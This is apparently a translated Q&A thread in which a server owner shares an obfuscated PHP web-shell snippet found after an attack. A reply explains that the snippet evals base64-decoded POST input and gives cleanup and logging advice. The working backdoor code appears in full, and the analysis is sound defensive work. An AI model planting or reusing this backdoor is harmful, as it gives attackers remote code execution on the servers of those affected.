我的服务器最近受到了攻击,我一直在努力研究它是如何以及为什么会发生的.
我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知,它试图运行一个特定的文件?
有没有人见过这样的东西,我该怎么解释呢?它只是根据$sF字符串抓取单个字符?
<?php
$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
eval($s21($s22));
}?>
Run Code Online (Sandbox Code Playgroud)
Dav*_*vid 27
变量$s21等于base64_decode且$s22等于 $_POST['nd335c3'].
每当POST向您的服务器发出请求时,它都会执行$_POST['nd335c3'];您所期望的任何命令,这非常危险.
我非常怀疑你的服务器被黑了但是你的网站脚本被利用了.您的网站上是否有用户可以上传文件的地方?我已经看到很多类似于WordPress的插件编码很差的东西.
解决问题
要解决此问题,请先删除此文件或代码段.您可能希望关闭站点并将其置于维护模式,直到您可以搜索并验证所有其他文件未被修改.
一旦站点恢复并运行,请记录对被黑客文件所在位置的请求或包含相同POST变量的请求.
一旦有用户向漏洞利用程序发送数据,您就可以检查所有其他日志文件,并将它们与相同的IP地址和用户代理进行比较.这是一个远景,但希望他们只使用一台计算机来进行攻击.从日志中,您可以看到他们访问了什么,可能会执行攻击并上传被利用的文件.
在未来预防这种情况
/tmp只需按照$ sF字符串的contatination代码,您就会看到
$21 = "base64_decode";
$22 = "_POST['nd335c3']";
Run Code Online (Sandbox Code Playgroud)
和其余的代码,基本上检查_POST ['nd335c3']是否存在,如果存在,执行PHP代码: base64_decode(_POST['nd335c3']);
接下来做什么我真的不知道,因为你没有显示病毒的整个代码.
希望它有所帮助.